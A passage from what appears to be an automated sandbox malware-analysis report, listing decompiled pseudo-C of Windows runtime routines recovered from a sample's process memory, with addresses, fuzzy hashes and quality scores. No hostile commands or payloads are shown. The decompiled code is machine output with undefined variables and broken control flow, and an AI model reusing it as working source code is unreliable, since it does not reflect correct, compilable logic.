						 *0xe987e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E00DFD0D1(L00E34320());
			}

0x00e34257
0x00e34257
0x00e34257
0x00e34259
0x00e3425e
0x00e34263
0x00e34265
0x00e34273
0x00e34278
0x00e3427c
0x00e3427f
0x00e34281
0x00e34287
0x00e342d7
0x00e342d7
0x00e342da
0x00e3428d
0x00e3428d
0x00e3428f
0x00e34292
0x00e34297
0x00e3429c
0x00e342a0
0x00e342a6
0x00e342a8
0x00e342ae
0x00e342b3
0x00000000
0x00e342ba
0x00e342ba
0x00e342bf
0x00e342c5
0x00e342ca
0x00e342cf
0x00e342d0
0x00000000
0x00e342d0
0x00e342b3
0x00000000
0x00e342a6
0x00e3429c
0x00e342dc
0x00e342dc
0x00e342e3
0x00e34309
0x00e342e5
0x00e342e5
0x00e342e8
0x00e342ee
0x00e342f0
0x00000000
0x00e342f2
0x00e342f2
0x00e342f4
0x00e342f7
0x00e342f9
0x00e34300
0x00e34300
0x00e342f0
0x00e3430e
0x00e3431f

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c80b790f6ee9654bc01333ee798761d42064c5d9fc444819786624a652d7c35
Instruction ID: d788cd1d0ff5895a1443601a427287b5f9684eaf87833cb8b9be5a83cbab5ae5
Opcode Fuzzy Hash: 4c80b790f6ee9654bc01333ee798761d42064c5d9fc444819786624a652d7c35
Instruction Fuzzy Hash: 0D2129B0501B01CFC715EFA5D904655BBF1FB86318F2092ABE119FB2B2DB31A885CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00DD2397 Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00DD2397(intOrPtr _a4) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				void* _t19;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				void* _t28;
				void* _t29;

				_t27 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
				if( *0xe9848c != 0) {
					L00DCFAD0(0xe98610);
					if( *0xe9848c == 0) {
						E00DCFA00(0xe98610, _t19, _t27, 0xe98610);
						goto L1;
					} else {
						_push(0);
						_push(_a4);
						_t26 = 4;
						_t29 = L00DD2581(0xe98610, 0xd850a0, _t26, _t27, _t28);
						E00DCFA00(0xe98610, 0xd850a0, _t27, 0xe98610);
					}
				} else {
					L1:
					_t11 =  *0xe98614; // 0x0
					if(_t11 == 0) {
						_t11 = E00DE4886(0xd81088, 1, 0xe98614);
					}
					_push(0);
					_push(_a4);
					_t25 = 4;
					_t29 = L00DD2581(0xe98610, (_t11 << 4) + 0xd85070, _t25, _t27, _t28);
				}
				if(_t29 != 0) {
					 *((intOrPtr*)(_t29 + 0x38)) = _t27;
					 *((char*)(_t29 + 0x40)) = 0;
				}
				return _t29;
			}

0x00dd23b0
0x00dd23b6
0x00dd2409
0x00dd2415
0x00e15ae9
0x00000000
0x00dd241b
0x00dd241b
0x00dd241d
0x00dd2427
0x00dd242e
0x00dd2430
0x00dd2430
0x00dd23b8
0x00dd23b8
0x00dd23b8
0x00dd23bf
0x00dd23fc
0x00dd23fc
0x00dd23c1
0x00dd23c3
0x00dd23d0
0x00dd23d8
0x00dd23d8
0x00dd23dc
0x00dd23de
0x00dd23e1
0x00dd23e1
0x00dd23ec

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baeedb5da3bf3aec05336eb1bc1dcd7e4d29c45869b988d2face5c471c5ab699
Instruction ID: 7a94cd34d94e4d24b1e6a5d137cd00ac76dfab3e9f450f839f2807e01c99549b
Opcode Fuzzy Hash: baeedb5da3bf3aec05336eb1bc1dcd7e4d29c45869b988d2face5c471c5ab699
Instruction Fuzzy Hash: AE112B326443416BD730A72AAD81F65B289EBA0720F28413BF506EB3A2C974E8459774

Uniqueness

Uniqueness Score: -1.00%

Function 00DAC962 Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00DAC962(char __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t19;
				char _t22;
				void* _t26;
				void* _t27;
				char _t32;
				char _t34;
				void* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0xe9d360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					L00DBEEF0(0xe970a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(L00E2F625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E00DBEB70(_t29, 0xe970a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return L00DEB640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E00E2F1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0xe970c0; // 0x0
					while(_t38 != 0xe970c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0xe9b1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}

0x00dac96a
0x00dac974
0x00dac988
0x00dac98a
0x00e17c9d
0x00e17c9f
0x00e17ca4
0x00e17cae
0x00e17cf0
0x00e17cf5
0x00e17cfa
0x00dac992
0x00dac996
0x00dac997
0x00dac998
0x00dac9a3
0x00dac9a3
0x00e17cb0
0x00e17cb7
0x00e17cbb
0x00000000
0x00000000
0x00e17cbd
0x00e17ce8
0x00e17cc5
0x00e17cc8
0x00e17cca
0x00e17cd0
0x00e17cd6
0x00e17cde
0x00e17ce4
0x00e17ce4
0x00e17cd0
0x00000000
0x00e17ce8
0x00dac990
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e18e81fc2eaf08fe4ddf00216ea1dd24f4176f727e355da479cc6f3c9744cb8
Instruction ID: 7967b318dbc187aa64062f34f0539e8a74439c1bfdcc38080d9dba9885c2629c
Opcode Fuzzy Hash: 7e18e81fc2eaf08fe4ddf00216ea1dd24f4176f727e355da479cc6f3c9744cb8
Instruction Fuzzy Hash: 7D11C6313186169BCB10AF29DC46A97B7F5FB88B14B101539F8C6A3661DB20EC54C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 00DD002D Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DD002D() {
				void* _t11;
				char* _t14;
				signed char* _t16;
				char* _t27;
				signed char* _t29;

				_t11 = L00DC7D50();
				_t27 = 0x7ffe0384;
				if(_t11 != 0) {
					_t14 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t14 = 0x7ffe0384;
				}
				_t29 = 0x7ffe0385;
				if( *_t14 != 0) {
					if(L00DC7D50() == 0) {
						_t16 = 0x7ffe0385;
					} else {
						_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t16 & 0x00000040) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(L00DC7D50() != 0) {
						_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					if( *_t27 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						if(L00DC7D50() != 0) {
							_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t29 & 0x00000020) == 0) {
							goto L5;
						}
						L18:
						return 1;
					} else {
						L5:
						return 0;
					}
				}
			}

0x00dd0032
0x00dd0037
0x00dd0043
0x00e14b3a
0x00dd0049
0x00dd0049
0x00dd0049
0x00dd004e
0x00dd0053
0x00e14b48
0x00e14b5a
0x00e14b4a
0x00e14b53
0x00e14b53
0x00e14b5f
0x00000000
0x00e14b61
0x00000000
0x00e14b61
0x00dd0059
0x00dd0059
0x00dd0060
0x00e14b6f
0x00e14b6f
0x00dd0069
0x00e14b83
0x00000000
0x00000000
0x00e14b90
0x00e14b9b
0x00e14b9b
0x00e14ba4
0x00000000
0x00000000
0x00e14baa
0x00000000
0x00dd006f
0x00dd006f
0x00000000
0x00dd006f
0x00dd0069

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction ID: 8cf83dd24145b04c61c1d46174ae573b05d0118ddd71d1e421d001dbffe92015
Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction Fuzzy Hash: 841126B2209681DFD7228728C949F753BE4EF80758F1D10A1ED06AB7D2D368CC81C670

Uniqueness

Uniqueness Score: -1.00%

Function 00DA9080 Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00DA9080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0xe985ec;
				E00DC2280(_t48, 0xe985ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return L00DBFFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0xe9538c; // 0x77e06828
					if( *_t84 != 0xe95388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0xe7f6e8);
						E00DFD0E8(0xe985ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E00E788F5(_t80, _t85, 0xe95388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0xe986c0; // 0x8707b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0xe986b8; // 0x0
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E00DC2280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E00E788F5(0xe985ec, _t85, 0xe95388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
												_push( *((intOrPtr*)(_t99 + 0x24)));
												L00DEAFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0xe9b1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0xe984c0;
																			if(_t82 >=  *0xe984c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E00E79063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E00DA922A(_t99);
										_t64 = L00DC7D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E00E78B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0xe986c0; // 0x8707b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0xe986b8; // 0x0
												if(__eflags == 0) {
													_t94 = 0xe986bc;
													_t87 = 0xe986b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E00DA9240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0xe986c4;
												_t87 = 0xe986c0;
												L27:
												E00DD9B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E00DFD130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0xe95388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0xe9538c = _t51;
						goto L6;
					}
				}
			}

0x00da9082
0x00da9083
0x00da9084
0x00da9085
0x00da9087
0x00da9096
0x00da9098
0x00da9098
0x00da909e
0x00da90a8
0x00da90e7
0x00da90e7
0x00da90aa
0x00da90b0
0x00da90b7
0x00da90bd
0x00da90dd
0x00da90e6
0x00da90bf
0x00da90bf
0x00da90c7
0x00da90cf
0x00da90f1
0x00da90f2
0x00da90f4
0x00da90f5
0x00da90f6
0x00da90f7
0x00da90f8
0x00da90f9
0x00da90fa
0x00da90fb
0x00da90fc
0x00da90fd
0x00da90fe
0x00da90ff
0x00da9100
0x00da9102
0x00da9107
0x00da910c
0x00da9110
0x00da9113
0x00da9115
0x00da9136
0x00da913f
0x00da9143
0x00e037e4
0x00e037e4
0x00da9117
0x00da9117
0x00da911d
0x00000000
0x00da911f
0x00da911f
0x00da9125
0x00000000
0x00da9127
0x00da912d
0x00da9130
0x00da9134
0x00da9158
0x00da915d
0x00da9161
0x00da9168
0x00e03715
0x00da916e
0x00da916e
0x00da9175
0x00da9177
0x00da917e
0x00da917f
0x00da9182
0x00da9182
0x00da9187
0x00da9187
0x00da918a
0x00da918d
0x00da918f
0x00da9192
0x00da9195
0x00da9198
0x00da9198
0x00da9198
0x00da919a
0x00000000
0x00000000
0x00e0371f
0x00e03721
0x00e03727
0x00e0372f
0x00e03733
0x00e03735
0x00e03738
0x00e0373b
0x00e0373d
0x00e03740
0x00000000
0x00e03746
0x00e03746
0x00e03749
0x00000000
0x00e0374f
0x00e0374f
0x00e03751
0x00e03757
0x00e03759
0x00e0375c
0x00e0375c
0x00e0375e
0x00e0375e
0x00e03761
0x00e03764
0x00000000
0x00000000
0x00e03766
0x00e03768
0x00e037a3
0x00e037a3
0x00e037a5
0x00e037a7
0x00e037ad
0x00e037b0
0x00e037b2
0x00e037bc
0x00e037c2
0x00e037c2
0x00e037b2
0x00da9187
0x00da9187
0x00da918a
0x00da918d
0x00da918f
0x00da9192
0x00da9195
0x00000000
0x00da9195
0x00000000
0x00e0376a
0x00e0376a
0x00e0376a
0x00e0376c
0x00e0376c
0x00e0376f
0x00e03775
0x00000000
0x00000000
0x00e03777
0x00e03779
0x00e03782
0x00e03787
0x00e03789
0x00e03790
0x00e03790
0x00e0378b
0x00e0378b
0x00e0378b
0x00e03792
0x00e03795
0x00000000
0x00e03795
0x00000000
0x00e03779
0x00e03798
0x00000000
0x00e03798
0x00000000
0x00e03768
0x00e0379b
0x00e0379b
0x00e03751
0x00e03749
0x00000000
0x00e03740
0x00da91a0
0x00da91a3
0x00da91a9
0x00da91b0
0x00000000
0x00da91b0
0x00da9187
0x00da91b4
0x00da91b4
0x00da91bb
0x00da91c0
0x00da91c5
0x00da91c7
0x00e037da
0x00da91cd
0x00da91cd
0x00da91cd
0x00da91d2
0x00da91d5
0x00da9239
0x00da9239
0x00da91d7
0x00da91db
0x00da91e1
0x00da91e7
0x00da91fd
0x00da9203
0x00da921e
0x00da9223
0x00000000
0x00da9205
0x00da9205
0x00da9208
0x00da920c
0x00da9214
0x00da9214
0x00da920c
0x00da91e9
0x00da91e9
0x00da91ee
0x00da91f3
0x00da91f3
0x00da91f3
0x00da91e7
0x00000000
0x00000000
0x00000000
0x00da9134
0x00da9125
0x00da911d
0x00da914e
0x00da90d1
0x00da90d1
0x00da90d3
0x00da90d6
0x00da90d8
0x00000000
0x00da90d8
0x00da90cf

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14afcf63f7cfd1f39b5e0c5531a86f17af535183c0457828b66f67a86b6aec99
Instruction ID: eb2695b4da9b627fac995515cee7c44b4d6ada3bed0907e3b7e798c39654ddc8
Opcode Fuzzy Hash: 14afcf63f7cfd1f39b5e0c5531a86f17af535183c0457828b66f67a86b6aec99
Instruction Fuzzy Hash: BE01FF736016008FC3258F28DC40B26FBA9EF863A0F294136E2019B6A2C770DC41CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 00E3C450 Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00E3C450(intOrPtr* _a4) {
				signed char _t25;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E00DE9910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					L00DE95B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E00DE95D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E00DE95D0();
				return L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}

0x00e3c458
0x00e3c45d
0x00e3c466
0x00e3c468
0x00e3c469
0x00e3c46a
0x00e3c46b
0x00e3c46e
0x00e3c46f
0x00e3c471
0x00e3c476
0x00e3c476
0x00e3c47c
0x00e3c47e
0x00e3c480
0x00e3c480
0x00e3c483
0x00e3c484
0x00e3c486
0x00e3c488
0x00e3c48f
0x00e3c491
0x00e3c493
0x00e3c493
0x00e3c48f
0x00e3c498
0x00e3c49e
0x00e3c4ad
0x00e3c4ad
0x00e3c4b2
0x00e3c4b4
0x00e3c4cd

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: fe3dcabda0291a3168e65c5403886b8a3d54d29b0a4ccb5148b33aacf3f7290c
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: 9F0192B2140649BFD721AF66CC95E62FB6DFF54394F104529F254635A1CB22ECA0CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00E74015 Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00E74015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E00DC2280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E00DC2280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0xe986ac);
					E00DAF900(0xe986d4, _t28);
					L00DBFFB0(0xe986ac, _t28, 0xe986ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					L00DBFFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}

0x00e7401a
0x00e7401e
0x00e74023
0x00e74028
0x00e74029
0x00e7402b
0x00e7402f
0x00e74043
0x00e74046
0x00e74051
0x00e74057
0x00e7405f
0x00e74062
0x00e74067
0x00e7406f
0x00e7407c
0x00e7407c
0x00e7408c
0x00e7408c
0x00e74097

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30704e5a98f3a367ab5213a1ffb49c705acca65e4f669e4e9bb4269066ed2e8b
Instruction ID: 9f3be165cb8c3899b6af32f09ee3ead45f507033a54f50b22dafa0d19f8a3339
Opcode Fuzzy Hash: 30704e5a98f3a367ab5213a1ffb49c705acca65e4f669e4e9bb4269066ed2e8b
Instruction Fuzzy Hash: 3E018472201645BFC711AB69CD85E67F7ACEF49750B000229B60897A52CB24EC11CAF4

Uniqueness

Uniqueness Score: -1.00%

Function 00E614FB Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00E614FB(void* __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				void* _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0xe9d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E00DEFA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(L00DC7D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				return L00DEB640(E00DE9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34,  *_t21 & 0x000000ff);
			}

0x00e614fb
0x00e614fb
0x00e6150a
0x00e61514
0x00e61519
0x00e6151b
0x00e61526
0x00e6152c
0x00e61534
0x00e61537
0x00e6153a
0x00e61545
0x00e61557
0x00e61547
0x00e61550
0x00e61550
0x00e61562
0x00e61563
0x00e61565
0x00e6157f

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a39591fb6655123d4f410ade02a19d45992cfeecbb3f8ede4cf1eb44d9aaf159
Instruction ID: 47184db5e0af8d8ce9db5570e25829a4ca65624f63561caa6325d66f9fded0b8
Opcode Fuzzy Hash: a39591fb6655123d4f410ade02a19d45992cfeecbb3f8ede4cf1eb44d9aaf159
Instruction Fuzzy Hash: 0F019271A01258AFCB00EF69D842FAEB7B8EF44710F40406AF905EB281D670DE00CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00E6138A Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00E6138A(void* __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				void* _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0xe9d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E00DEFA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(L00DC7D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				return L00DEB640(E00DE9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34,  *_t21 & 0x000000ff);
			}

0x00e6138a
0x00e6138a
0x00e61399
0x00e613a3
0x00e613a8
0x00e613aa
0x00e613b5
0x00e613bb
0x00e613c3
0x00e613c6
0x00e613c9
0x00e613d4
0x00e613e6
0x00e613d6
0x00e613df
0x00e613df
0x00e613f1
0x00e613f2
0x00e613f4
0x00e6140e

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66c11da9e141cc6b4fb64277b04ff77fc735e0d84abe91c10b5b84c3757b7e6
